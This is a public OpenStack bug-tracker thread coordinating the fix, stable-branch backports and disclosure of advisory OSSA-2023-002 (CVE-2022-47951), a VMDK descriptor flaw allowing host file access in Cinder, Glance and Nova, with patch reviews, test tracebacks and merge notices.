 - Nova (master) in comment #17

What are the plans for nova backports? Or is it assumed that the provided patch applies cleanly at least as far back as stable/xena (in which case I'll just provide multiple copies named for each branch)?

Also, Sébastien Mériot has sent a follow-up E-mail requesting a change to list the reporters of this bug as Guillaume Espanel, Pierre Libeau, Arnaud Morin and Damien Rannou. Here's the updated impact description which will be used in the advance downstream notice and subsequent advisory publication...

Title: Arbitrary file access through custom VMDK flat descriptor
Reporter: Guillaume Espanel, Pierre Libeau, Arnaud Morin and Damien Rannou (OVH)
Products: Cinder, Glance, Nova
Affects: Cinder <19.1.2, >=20.0.0 <20.0.2, ==21.0.0; Glance <23.0.1, >=24.0.0 <24.1.1, ==25.0.0; Nova <24.1.2, >=25.0.0 <25.0.2, ==26.0.0

Description:
Guillaume Espanel, Pierre Libeau, Arnaud Morin and Damien Rannou (OVH) reported a vulnerability in VMDK image processing for Cinder, Glance and Nova.
By supplying a specially created VMDK flat image which references a specific backing file path, an authenticated user may convince systems to return a copy of that file's contents from the server resulting in unauthorized access to potentially sensitive data.
All Cinder deployments are affected; only Glance deployments with image conversion enabled are affected; all Nova deployments are affected.

Revision history for this message
Dan Smith (danms) wrote :

I'm good to go, yeah. I'm attaching a Xena-specific backport of the nova-2 patch which fixes a trivial conflict. Yoga and Zed apply the original cleanly.

Revision history for this message
Jeremy Stanley (fungi) wrote :

With Dan's additional clean stable/xena backport in comment #81 I think I have everything I need to schedule the advisory. I'll plan to send advance notification to downstream stakeholders with a copy of all the patches I listed in comment #80 plus the added one from #81 on Thursday, January 12, with the expectation of full publication of the advisory and pushing patches for public review at 15:00 UTC on Thursday, January 19. That gives a full 5 business days, the maximum our advisory process allows us, for package maintainers and operators to prepare updated versions.

If anyone objects to the proposed timeline, please comment on this bug report before Thursday of this week (I know this is tight timing, but the sooner it's done the better). Thanks!

Revision history for this message
Sylvain Bauza (sylvain-bauza) wrote :

For reviewing sake, I eventually looked at Dan's patches for Nova (master, and backports down to Xena) and I agree on them. Thanks Dan for having helped on the nova side and thanks folks for the other projects too.

Revision history for this message
Brian Rosmaita (brian-rosmaita) wrote :

I was looking into what it would take to backport this to train, and once I hit py27 tests, I realized that I didn't actually (contrary to the commit message) remove all the type annotations from the patch to wallaby (comment #56). So I will update that patch today.

In the meantime, I also hit a problem in that whereas I was able to run unit tests and pep8 locally on the posted patches for the supported pythons in each release back in December, something has changed in my local environment and tox (3!!!) can't build the testenvs starting with xena backward due to oslo.vmware having suds-jurko as a requirement, and whatever setuptools I've got can't build suds-jurko. This doesn't seem to have hit the periodic stable jobs because they use a pre-built wheel.

My local workaround is to use a modified upper-constraints file that has 'oslo.vmware===3.10.0', which is the yoga release of oslo.vmware, and the only difference from the xena version is that it uses suds-community instead of suds-jurko. Does anyone know a better workaround? I'm worried that operators will want to at least run unit tests before applying the patches, and I at least can't do that locally without making some non-obvious adjustments.

Revision history for this message
Brian Rosmaita (brian-rosmaita) wrote :

Updated wallaby patch.

Revision history for this message
Brian Rosmaita (brian-rosmaita) wrote :

@Jeremy: we may need to hold off a day or so for the announcement.

In working on how this can be backported to stable/train, I realized that the cinder patches for zed through wallaby are not ready yet. Here's what's up.

Beginning with oslo.utils 3.14.0 (current release is 6.1.0), the imageutils.QemuImgInfo class supports a 'format' parameter in the initializer that takes 'json' as a value (default is 'human'). It is the responsibility of the consumer to get the data from 'qumu-img info' with the '--output=json' flag, and pass this data to the initializer. (This was introduced by change Iefa139dc4bcea864cb.)

The 'format-specific' attribute of the QemuImgInfo class, which we need to check the VMDK subtype, is supported beginning with oslo.utils 4.1.0 by change I133da07a5a9628b8a9.

BUT ... cinder doesn't request json format from 'qemu-img info' until change Ia0353204abf8494671, which is only in current master ... and if you use the default 'human' format, QemuImgInfo.format_specific is *always* None [0].

So the current cinder patches for zed->wallaby won't let a bad VMDK sneak through, but will raise ImageUnacceptable on *all* VMDKs. (This is tested by test_check_vmdk_image_handles_missing_info in the TestVmdkImageChecks class in the patches.)

So the current patches for zed->wallaby block the security risk, but will cause a bad regression for anyone who actually uses VMDKs.

I think the cinder team needs to backport change Ia0353204abf8494671 as far as it will go on an expedited basis before we release these patches. Or I could simply roll the change into these patches, though strictly speaking, it's unrelated.

I'll email the cinder coresec team separately to get a quick response on what the acceptable strategy is.

[0] https://opendev.org/openstack/oslo.utils/src/commit/d49d5944824f15d00e04e1b9c7f8c3b03b440c95/oslo_utils/imageutils.py#L86

Revision history for this message
Jeremy Stanley (fungi) wrote :

No problem, if the patches are ready in time I can notify downstream stakeholders on Tuesday, January 17 with a planned advisory publication on Tuesday, January 24.

Revision history for this message
Brian Rosmaita (brian-rosmaita) wrote :

Cinder update: the parent patch mentioned in comment #86 has been approved in all relevant branches and is slowly making its way through the gates:
https://review.opendev.org/q/topic:qemu-img-info-json

I tested the current cinder-1996188-zed.patch attached to this bug and it applies cleanly to the current HEAD of stable/zed. I will test the others as they merge.

Revision history for this message
Brian Rosmaita (brian-rosmaita) wrote :

All cinder-1996188-* patches from zed through wallaby apply cleanly to the current stable branches.

I'm attaching a victoria patch for review. We hit an issue in cinder victoria that requires either a change in requirements.txt or a code adjustment [0]. Preliminary discussion with the release team was that upping the min in requirements would ordinarily be allowed for a security issue, but not for a branch like victoria in maintenance Phase 2 [1].

Since my intent is to backport this as far as train, where using oslo.utils 4.1.0 is out of the question because 4.1.0 doesn't support py27, whereas train does, and thus we'd have to do the code adjustment there in any case, I chose to take the code adjustment path in victoria.

The victoria patch should backport fairly cleanly to ussuri, and cleanly from there to train. So I'll wait to post the ussuri and train patches until people have had time to review the victoria patch.

[0] https://review.opendev.org/c/openstack/cinder/+/870020/1#message-f6bb2e8c8a41910194711d4a8154bc56b398dba2
[1] https://meetings.opendev.org/irclogs/%23openstack-release/%23openstack-release.2023-01-12.log.html#t2023-01-12T16:28:53

Revision history for this message
Brian Rosmaita (brian-rosmaita) wrote :
Revision history for this message
Rajat Dhasmana (whoami-rajat) wrote :

I've checked the victoria patch and the changes are similar to what oslo.utils does.

Here's the code change in the victoria patch:

+ if not hasattr(info, 'format_specific'):
+ qemu_info = json.loads(out)
+ info.format_specific = qemu_info.get('format-specific')

We are loading it from the qemu-img output which looks like this,

"format-specific": {
    "type": "qcow2",
    "data": {
        "compat": "1.1",
        "lazy-refcounts": false,
        "refcount-bits": 16,
        "corrupt": false
    }

Same thing oslo.utils copies into the QemuImgInfo object here

https://github.com/openstack/oslo.utils/blob/d49d5944824f15d00e04e1b9c7f8c3b03b440c95/oslo_utils/imageutils.py#L68

We also have a test added which removes the 'format_specific' attribute to check the compatibility of oslo.utils < 4.1.0.

Overall, the changes in the victoria patch looks good to me.

Revision history for this message
Brian Rosmaita (brian-rosmaita) wrote :
Revision history for this message
Brian Rosmaita (brian-rosmaita) wrote :
Revision history for this message
Brian Rosmaita (brian-rosmaita) wrote :

Cinder coresec team doesn't have bandwidth to review the train and ussuri patches. Since those branches are in -em mode and it's only a courtesy to include them, I propose that we be uncourteous and only include patches for master through victoria so that we can move this along.

Let me know if I should remove the train and ussuri patches from this bug.

Revision history for this message
Jeremy Stanley (fungi) wrote :

Keeping them attached to the bug should be fine, I'll just omit them from the pre-OSSA. We can still add them to the advisory if people have time to test over the next week, or simply push them into review after the report is public.

I'm working on assembling pre-OSSA now, and still expect to send it to downstream stakeholders by the end of my day (somewhat delayed by the luck of having this fall on the same day that we scheduled publication of OSSA-2023-001).

Revision history for this message
Jeremy Stanley (fungi) wrote :

Advance disclosure to the private mailing lists mentioned in our vulnerability management process document[*] is complete.

[*] https://security.openstack.org/vmt-process.html#downstream-stakeholders-notification-email-private-issues

Changed in ossa:
status: In Progress → Fix Committed
Revision history for this message
Thomas Goirand (thomas-goirand) wrote :

Hi,

FYI, in Debian, I intend to backport the patches on all versions from Rocky to Zed, taking a bit more attention for Rocky (which is in Buster, so Debian LTS) and Victoria (which is in Bullseye). The patches, especially the Nova one, are small enough so that backport looks doable. I'll attempt to do them myself, but I'd love if it could also be pushed on Gerrit on each individual branches.

I've read that RedHat still has customers on Queens. So probably it's going to be done there.

FYI, I already have a working Nova patch for Victoria, which I'm attaching.

Is there anything I should be aware when backporting before Victoria (and Train, since Glance goes up to there)?

Can we also somehow share the patches for older branches?

Your thoughts anyone?

Revision history for this message
Thomas Goirand (thomas-goirand) wrote :
Download full text (3.8 KiB)

FYI, for Nova, the patch seems to apply cleanly up to Rocky (just did a quilt push / quilt refresh and it looks good...). However, when building the package, I get:

======================================================================
FAIL: subunit.parser
subunit.parser
----------------------------------------------------------------------
_StringException: Binary content:
  Packet data (application/octet-stream)

Parser Error: {{{Short read - got 139 bytes, wanted 4235 bytes}}}

======================================================================
FAIL: nova.tests.unit.virt.test_images.QemuTestCase.test_convert_image_vmdk_allowed_list_checking
nova.tests.unit.virt.test_images.QemuTestCase.test_convert_image_vmdk_allowed_list_checking
----------------------------------------------------------------------
_StringException: Traceback (most recent call last):
  File "/<<PKGBUILDDIR>>/nova/tests/unit/virt/test_images.py", line 138, in test_convert_image_vmdk_allowed_list_checking
    format='json'))
  File "/usr/lib/python3/dist-packages/testtools/testcase.py", line 485, in assertRaises
    self.assertThat(our_callable, matcher)
  File "/usr/lib/python3/dist-packages/testtools/testcase.py", line 496, in assertThat
    mismatch_error = self._matchHelper(matchee, matcher, message, verbose)
  File "/usr/lib/python3/dist-packages/testtools/testcase.py", line 547, in _matchHelper
    mismatch = matcher.match(matchee)
  File "/usr/lib/python3/dist-packages/testtools/matchers/_exception.py", line 108, in match
    mismatch = self.exception_matcher.match(exc_info)
  File "/usr/lib/python3/dist-packages/testtools/matchers/_higherorder.py", line 62, in match
    mismatch = matcher.match(matchee)
  File "/usr/lib/python3/dist-packages/testtools/testcase.py", line 475, in match
    reraise(*matchee)
  File "/usr/lib/python3/dist-packages/testtools/_compat3x.py", line 16, in reraise
    raise exc_obj.with_traceback(exc_tb)
  File "/usr/lib/python3/dist-packages/testtools/matchers/_exception.py", line 101, in match
    result = matchee()
  File "/usr/lib/python3/dist-packages/testtools/testcase.py", line 1049, in __call__
    return self._callable_object(*self._args, **self._kwargs)
  File "/<<PKGBUILDDIR>>/nova/virt/images.py", line 150, in check_vmdk_image
    types = CONF.compute.vmdk_allowed_types
  File "/usr/lib/python3/dist-packages/oslo_config/cfg.py", line 3548, in __getattr__
    return self._conf._get(name, self._group)
  File "/usr/lib/python3/dist-packages/oslo_config/cfg.py", line 3070, in _get
    value, loc = self._do_get(name, group, namespace)
  File "/usr/lib/python3/dist-packages/oslo_config/cfg.py", line 3088, in _do_get
    info = self._get_opt_info(name, group)
  File "/usr/lib/python3/dist-packages/oslo_config/cfg.py", line 3264, in _get_opt_info
    raise NoSuchOptError(opt_name, group)
oslo_config.cfg.NoSuchOptError: no such option vmdk_allowed_types in group [compute]

======================================================================
FAIL: nova.tests.unit.virt.test_images.QemuTestCase.test_fetch_checks_vmdk_rules
nova.tests.unit.virt.test_images.QemuTestCase.test_fetch_checks_vmdk_rules
-------------------------------------...

Read more...

Revision history for this message
Jeremy Stanley (fungi) wrote :

Attaching backports for older branches here is great, as is pushing them to Gerrit once we reach the scheduled publication date and time (15:00 UTC on Tuesday, January 24). Whether we should link those additional backported changes in the advisory is up to the project representatives, of course.

Revision history for this message
Dan Smith (danms) wrote :

Thomas, it looks like you missed the conf part of the patch when applying. It's complaining about the option added in the patch being missing.

Also, I just noticed the xena-specific nova patch has some extra stuff that it shouldn't, so I will be updating that in a sec.

Revision history for this message
Dan Smith (danms) wrote :

Updated nova patch for xena without the accidental inclusion of an additional config option.

Revision history for this message
Thomas Goirand (thomas-goirand) wrote :

Hi Dan,

Well, that's what's weird, I do have the conf part in my patch...

Revision history for this message
Thomas Goirand (thomas-goirand) wrote :

Also, it's not clear to me (as a user) what should be the acceptable values of vmdk_allowed_types. Could someone (that has the knowledge) add in the option help text:

1/ If the default values are safe (ie: no vulnerability if ['streamOptimized', 'monolithicSparse'], therefore, safe to upgrade nova-compute and running it with vmdk_allowed_types not defined in the config file, which is what is going to happen when upgrading the Debian package).

2/ What is the exhaustive list of possible values.

3/ What value exposes Nova to the VMDK file leak vulnerability.

I've searched the net for all of these info, but couldn't find out. It is very likely that I wont be the only one asking myself these questions, so having the info directly available in the default help text for the vmdk_allowed_types would be a very important improvement. BTW, I don't think having a verbose help is a problem in the current situation.

Revision history for this message
Arnaud Morin (arnaud-morin) wrote :

Hi Thomas,

The default values ['streamOptimized', 'monolithicSparse'] are safe. Only these values are safe.

One of the *unsafe* value is: 'monolithicFlat'. This one should be discarded by the convert functions. This is what the patches are doing.

One of the VMDK (official?) documentation can be read here:
https://www.vmware.com/app/vmdk/?src=vmdk

Maybe that could be nice to have it in the config desc?

Revision history for this message
Jeremy Stanley (fungi) wrote :

Just a reminder, we're approximately an hour out from the agreed upon disclosure time. At precisely 15:00 UTC I will switch this bug to public, and then we need the patch authors (ideally) to push the fixes and their corresponding backports into Gerrit. Once we have the review links for all changes, I'll be able to finalize the OSSA publication and distribute it to mailing lists.

If Brian and/or Dan are unavailable at 15:00 UTC I can also push the patches to review.o.o, but would prefer not to so that Gerrit treats them as the change owners.

Revision history for this message
Thomas Goirand (thomas-goirand) wrote :

The Nova patch can be backported up to Ussuri (I tried...), though before, it's complicated, because oslo.util QemuImgInfo doesn't have a format_specific attribute. For it, we would need to backport this patch:

https://review.opendev.org/c/openstack/oslo.utils/+/706880

What does upstream recommend? Should we also patch oslo.utils? Or get that information somehow, in another way in Nova? FYI, I'll try backporting the above patch and see how it goes...

Revision history for this message
Felix Huettner (felix.huettner) wrote :

hi everyone,
i backported the nova and cinder patches back up all versions until queens.
Note that i did not run unittests on them

Revision history for this message
Felix Huettner (felix.huettner) wrote :
Revision history for this message
Felix Huettner (felix.huettner) wrote :
Revision history for this message
Felix Huettner (felix.huettner) wrote :
Revision history for this message
Felix Huettner (felix.huettner) wrote :
Revision history for this message
Felix Huettner (felix.huettner) wrote :
Revision history for this message
Felix Huettner (felix.huettner) wrote :
Revision history for this message
Felix Huettner (felix.huettner) wrote :
Revision history for this message
Felix Huettner (felix.huettner) wrote :
Revision history for this message
Felix Huettner (felix.huettner) wrote :
Revision history for this message
Felix Huettner (felix.huettner) wrote :
Revision history for this message
Thomas Goirand (thomas-goirand) wrote :

Another issue with train:

======================================================================
FAIL: nova.tests.unit.virt.test_images.QemuTestCase.test_fetch_checks_vmdk_rules
nova.tests.unit.virt.test_images.QemuTestCase.test_fetch_checks_vmdk_rules
----------------------------------------------------------------------
_StringException: Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/mock/mock.py", line 1322, in patched
    arg = patching.__enter__()
  File "/usr/lib/python3/dist-packages/oslotest/mock_fixture.py", line 161, in __enter__
    original_attr = getattr(target, self.attribute)
AttributeError: module 'nova.privsep.qemu' has no attribute 'unprivileged_qemu_img_info'

Jeremy Stanley (fungi)
description: updated
information type: Private Security → Public Security
Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to glance (master)

Fix proposed to branch: master
Review: https://review.opendev.org/c/openstack/glance/+/871613

Changed in glance:
status: New → In Progress
Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to glance (stable/zed)

Fix proposed to branch: stable/zed
Review: https://review.opendev.org/c/openstack/glance/+/871614

Changed in cinder:
status: New → In Progress
Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to cinder (master)

Fix proposed to branch: master
Review: https://review.opendev.org/c/openstack/cinder/+/871615

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Related fix proposed to nova (stable/zed)

Related fix proposed to branch: stable/zed
Review: https://review.opendev.org/c/openstack/nova/+/871616

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to glance (stable/yoga)

Fix proposed to branch: stable/yoga
Review: https://review.opendev.org/c/openstack/glance/+/871617

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to cinder (stable/zed)

Fix proposed to branch: stable/zed
Review: https://review.opendev.org/c/openstack/cinder/+/871618

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to glance (stable/xena)

Fix proposed to branch: stable/xena
Review: https://review.opendev.org/c/openstack/glance/+/871619

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to cinder (stable/yoga)

Fix proposed to branch: stable/yoga
Review: https://review.opendev.org/c/openstack/cinder/+/871620

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to glance (stable/wallaby)

Fix proposed to branch: stable/wallaby
Review: https://review.opendev.org/c/openstack/glance/+/871621

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Related fix proposed to nova (stable/xena)

Related fix proposed to branch: stable/xena
Review: https://review.opendev.org/c/openstack/nova/+/871622

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to glance (stable/victoria)

Fix proposed to branch: stable/victoria
Review: https://review.opendev.org/c/openstack/glance/+/871623

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to cinder (stable/xena)

Fix proposed to branch: stable/xena
Review: https://review.opendev.org/c/openstack/cinder/+/871625

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Related fix proposed to nova (stable/yoga)

Related fix proposed to branch: stable/yoga
Review: https://review.opendev.org/c/openstack/nova/+/871624

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to glance (stable/ussuri)

Fix proposed to branch: stable/ussuri
Review: https://review.opendev.org/c/openstack/glance/+/871626

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to cinder (stable/wallaby)

Fix proposed to branch: stable/wallaby
Review: https://review.opendev.org/c/openstack/cinder/+/871627

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to cinder (stable/victoria)

Fix proposed to branch: stable/victoria
Review: https://review.opendev.org/c/openstack/cinder/+/871628

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to cinder (stable/ussuri)

Fix proposed to branch: stable/ussuri
Review: https://review.opendev.org/c/openstack/cinder/+/871629

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to glance (stable/train)

Fix proposed to branch: stable/train
Review: https://review.opendev.org/c/openstack/glance/+/871630

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to cinder (stable/train)

Fix proposed to branch: stable/train
Review: https://review.opendev.org/c/openstack/cinder/+/871631

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to ossa (master)

Fix proposed to branch: master
Review: https://review.opendev.org/c/openstack/ossa/+/871635

Jeremy Stanley (fungi)
summary: - Arbitrary file access through custom VMDK flat descriptor
- (CVE-2022-47951)
+ [OSSA-2023-002] Arbitrary file access through custom VMDK flat
+ descriptor (CVE-2022-47951)
Revision history for this message
Christian Rohmann (christian-rohmann) wrote :

Apart from the fix of the code itself and it being merged and backported, is there a process that triggers new releases for glance and also informs the various packaging teams/channels such as UCA with their SRU process (https://wiki.ubuntu.com/OpenStack/CloudArchive#SRU_process) to push out new packages?

Only then the fix will hit most of the active installations.

Revision history for this message
Jeremy Stanley (fungi) wrote :

Project representatives propose new point release requests through the OpenStack review team once the fixes make it through CI and merge to their respective branches.

Distribution contacts (including Canonical/Ubuntu) were notified and provided with advance copies of the patches one week ago, so that they could get a head start updating their packages in preparation for today.

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to ossa (master)

Reviewed: https://review.opendev.org/c/openstack/ossa/+/871635
Committed: https://opendev.org/openstack/ossa/commit/07833d0dcd6f0745a7a487f55d5a23ff76d4c202
Submitter: "Zuul (22348)"
Branch: master

commit 07833d0dcd6f0745a7a487f55d5a23ff76d4c202
Author: Jeremy Stanley <email address hidden>
Date: Tue Jan 24 15:11:10 2023 +0000

    Add OSSA-2023-002 (CVE-2022-47951)

    Change-Id: If071ca13337d87f24bbbdec24cbecb826165f4f4
    Closes-Bug: #1996188

Changed in ossa:
status: Fix Committed → Fix Released
Revision history for this message
Jeremy Stanley (fungi) wrote :

The advisory is now live at https://security.openstack.org/ossa/OSSA-2023-002.html with copies sent to the usual mailing lists[*], and MITRE has been notified about the publication so that they'll know to make the CVE text available.

[*] https://security.openstack.org/vmt-process.html#openstack-security-advisories-ossa

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Related fix proposed to nova (stable/wallaby)

Related fix proposed to branch: stable/wallaby
Review: https://review.opendev.org/c/openstack/nova/+/871557

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to cinder (master)

Reviewed: https://review.opendev.org/c/openstack/cinder/+/871615
Committed: https://opendev.org/openstack/cinder/commit/930fc93e9fda82a4aa4568ae149c3c80af7379d0
Submitter: "Zuul (22348)"
Branch: master

commit 930fc93e9fda82a4aa4568ae149c3c80af7379d0
Author: Brian Rosmaita <email address hidden>
Date: Sat Dec 10 17:05:25 2022 -0500

    Check VMDK subformat against an allowed list

    Also add a more general check to convert_image that the image format
    reported by qemu-img matches what the caller says it is.

    Change-Id: I3c60ee4c0795aadf03108ed9b5a46ecd116894af
    Partial-bug: #1996188

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to glance (master)

Reviewed: https://review.opendev.org/c/openstack/glance/+/871613
Committed: https://opendev.org/openstack/glance/commit/0d6282a01691cecc2798f7858b181c4bb30f850c
Submitter: "Zuul (22348)"
Branch: master

commit 0d6282a01691cecc2798f7858b181c4bb30f850c
Author: Dan Smith <email address hidden>
Date: Mon Dec 19 15:00:35 2022 +0000

    Enforce image safety during image_conversion

    This does two things:

    1. It makes us check that the QCOW backing_file is unset on those
    types of images. Nova and Cinder do this already to prevent an
    arbitrary (and trivial to accomplish) host file exposure exploit.
    2. It makes us restrict VMDK files to only allowed subtypes. These
    files can name arbitrary files on disk as extents, providing the
    same sort of attack. Default that list to just the types we believe
    are actually useful for openstack, and which are monolithic.

    The configuration option to specify allowed subtypes is added in
    glance's config and not in the import options so that we can extend
    this check later to image ingest. The format_inspector can tell us
    what the type and subtype is, and we could reject those images early
    and even in the case where image_conversion is not enabled.

    Closes-Bug: #1996188
    Change-Id: Idf561f6306cebf756c787d8eefdc452ce44bd5e0

Changed in glance:
status: In Progress → Fix Released
Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to cinder (stable/zed)

Reviewed: https://review.opendev.org/c/openstack/cinder/+/871618
Committed: https://opendev.org/openstack/cinder/commit/ba37dc2ead69c08d7ede242295ff997086e6121d
Submitter: "Zuul (22348)"
Branch: stable/zed

commit ba37dc2ead69c08d7ede242295ff997086e6121d
Author: Brian Rosmaita <email address hidden>
Date: Sat Dec 10 17:09:36 2022 -0500

    Check VMDK subformat against an allowed list

    Also add a more general check to convert_image that the image format
    reported by qemu-img matches what the caller says it is.

    Change-Id: I3c60ee4c0795aadf03108ed9b5a46ecd116894af
    Partial-bug: #1996188
    (cherry picked from commit 930fc93e9fda82a4aa4568ae149c3c80af7379d0)

tags: added: in-stable-zed
Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Related fix merged to nova (master)

Reviewed: https://review.opendev.org/c/openstack/nova/+/871612
Committed: https://opendev.org/openstack/nova/commit/d1d2375c474f74b636cf55efa72c7f86fbf6c156
Submitter: "Zuul (22348)"
Branch: master

commit d1d2375c474f74b636cf55efa72c7f86fbf6c156
Author: Dan Smith <email address hidden>
Date: Thu Nov 10 09:55:48 2022 -0800

    Check VMDK create-type against an allowed list

    Related-Bug: #1996188
    Change-Id: I5a399f1d3d702bfb76c067893e9c924904c8c360

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to cinder (stable/yoga)

Reviewed: https://review.opendev.org/c/openstack/cinder/+/871620
Committed: https://opendev.org/openstack/cinder/commit/2ae5d53526e2b224d81b3259140c59aba97d72c3
Submitter: "Zuul (22348)"
Branch: stable/yoga

commit 2ae5d53526e2b224d81b3259140c59aba97d72c3
Author: Brian Rosmaita <email address hidden>
Date: Sat Dec 10 17:09:36 2022 -0500

    Check VMDK subformat against an allowed list

    Also add a more general check to convert_image that the image format
    reported by qemu-img matches what the caller says it is.

    Change-Id: I3c60ee4c0795aadf03108ed9b5a46ecd116894af
    Partial-bug: #1996188
    (cherry picked from commit 930fc93e9fda82a4aa4568ae149c3c80af7379d0)
    (cherry picked from commit ba37dc2ead69c08d7ede242295ff997086e6121d)
    Conflicts:
      cinder/image/image_utils.py
       - changed type annotations to use implicit Optional to be
         consistent with cinder yoga mypy usage
       - removed refs to image_conversion_disable in tests

tags: added: in-stable-yoga
Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Related fix proposed to nova (stable/victoria)

Related fix proposed to branch: stable/victoria
Review: https://review.opendev.org/c/openstack/nova/+/871699

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Related fix proposed to nova (stable/ussuri)

Related fix proposed to branch: stable/ussuri
Review: https://review.opendev.org/c/openstack/nova/+/871702

Revision history for this message
Christian Rohmann (christian-rohmann) wrote :

Jeremy there still seem to be no updated packages on UCA (Ubuntu Cloud Archive) - https://openstack-ci-reports.ubuntu.com/reports/cloud-archive/xena_versions.html, https://openstack-ci-reports.ubuntu.com/reports/cloud-archive/yoga_versions.html, ...

I highly doubt there will be any without an SRU. Take this (my) recent bug as an example:
https://bugs.launchpad.net/cloud-archive/+bug/1995861

stable/xyz already has the fix, there was a release made, but no package updates were triggerd.

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to glance (stable/zed)

Reviewed: https://review.opendev.org/c/openstack/glance/+/871614
Committed: https://opendev.org/openstack/glance/commit/4967ab6935cfd0274ae801ac943d01909a236a0a
Submitter: "Zuul (22348)"
Branch: stable/zed

commit 4967ab6935cfd0274ae801ac943d01909a236a0a
Author: Dan Smith <email address hidden>
Date: Mon Dec 19 15:00:35 2022 +0000

    Enforce image safety during image_conversion

    This does two things:

    1. It makes us check that the QCOW backing_file is unset on those
    types of images. Nova and Cinder do this already to prevent an
    arbitrary (and trivial to accomplish) host file exposure exploit.
    2. It makes us restrict VMDK files to only allowed subtypes. These
    files can name arbitrary files on disk as extents, providing the
    same sort of attack. Default that list to just the types we believe
    are actually useful for openstack, and which are monolithic.

    The configuration option to specify allowed subtypes is added in
    glance's config and not in the import options so that we can extend
    this check later to image ingest. The format_inspector can tell us
    what the type and subtype is, and we could reject those images early
    and even in the case where image_conversion is not enabled.

    Closes-Bug: #1996188
    Change-Id: Idf561f6306cebf756c787d8eefdc452ce44bd5e0
    (cherry picked from commit 0d6282a01691cecc2798f7858b181c4bb30f850c)

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to glance (stable/yoga)

Reviewed: https://review.opendev.org/c/openstack/glance/+/871617
Committed: https://opendev.org/openstack/glance/commit/dc8e5a5cc7f5e9d1b697e520a7533cc90516db1b
Submitter: "Zuul (22348)"
Branch: stable/yoga

commit dc8e5a5cc7f5e9d1b697e520a7533cc90516db1b
Author: Dan Smith <email address hidden>
Date: Mon Dec 19 15:00:35 2022 +0000

    Enforce image safety during image_conversion

    This does two things:

    1. It makes us check that the QCOW backing_file is unset on those
    types of images. Nova and Cinder do this already to prevent an
    arbitrary (and trivial to accomplish) host file exposure exploit.
    2. It makes us restrict VMDK files to only allowed subtypes. These
    files can name arbitrary files on disk as extents, providing the
    same sort of attack. Default that list to just the types we believe
    are actually useful for openstack, and which are monolithic.

    The configuration option to specify allowed subtypes is added in
    glance's config and not in the import options so that we can extend
    this check later to image ingest. The format_inspector can tell us
    what the type and subtype is, and we could reject those images early
    and even in the case where image_conversion is not enabled.

    Closes-Bug: #1996188
    Change-Id: Idf561f6306cebf756c787d8eefdc452ce44bd5e0
    (cherry picked from commit 0d6282a01691cecc2798f7858b181c4bb30f850c)
    (cherry picked from commit 4967ab6935cfd0274ae801ac943d01909a236a0a)

Revision history for this message
Jeremy Stanley (fungi) wrote :

Christian: OpenStack's vulnerability coordinators provide advance copies of embargoed security fixes to representatives of distributions including Ubuntu. We also notify the private linux-distros mailing list where they have representatives subscribed. At time of publication we circulate our advisories not only to our community's openstack-announce and openstack-discuss mailing lists, but also the broader <email address hidden> discussion list where they participate.

OpenStack is packaged and included in numerous distributions. The available time for our vulnerability coordinators is already quite minimal, and we simply cannot follow every single distribution's custom workflow for requesting that they act on security advisories. If a distribution you use isn't providing updated packages with the fixes we've supplied in a timely enough manner to suit your tastes, please follow up with them directly. It will mean more coming from their users than from me even if I did have the time to do so.

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Related fix merged to nova (stable/zed)

Reviewed: https://review.opendev.org/c/openstack/nova/+/871616
Committed: https://opendev.org/openstack/nova/commit/6e8ed78470edbae7b58d75e9e9f4f62bdb30a170
Submitter: "Zuul (22348)"
Branch: stable/zed

commit 6e8ed78470edbae7b58d75e9e9f4f62bdb30a170
Author: Dan Smith <email address hidden>
Date: Thu Nov 10 09:55:48 2022 -0800

    [stable-only][cve] Check VMDK create-type against an allowed list

    NOTE(sbauza): Stable policy allows us to proactively merge a backport without waiting for the parent patch to be merged (exception to rule #4 in [1]. Marking [stable-only] in order to silence nova-tox-validate-backport

    [1] https://docs.openstack.org/project-team-guide/stable-branches.html#appropriate-fixes

    Related-Bug: #1996188
    Change-Id: I5a399f1d3d702bfb76c067893e9c924904c8c360

tags: added: in-stable-xena
Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to cinder (stable/xena)

Reviewed: https://review.opendev.org/c/openstack/cinder/+/871625
Committed: https://opendev.org/openstack/cinder/commit/e96415409daa158cc503c1adec1ca1ca4f940082
Submitter: "Zuul (22348)"
Branch: stable/xena

commit e96415409daa158cc503c1adec1ca1ca4f940082
Author: Brian Rosmaita <email address hidden>
Date: Sat Dec 10 17:09:36 2022 -0500

    Check VMDK subformat against an allowed list

    Also add a more general check to convert_image that the image format
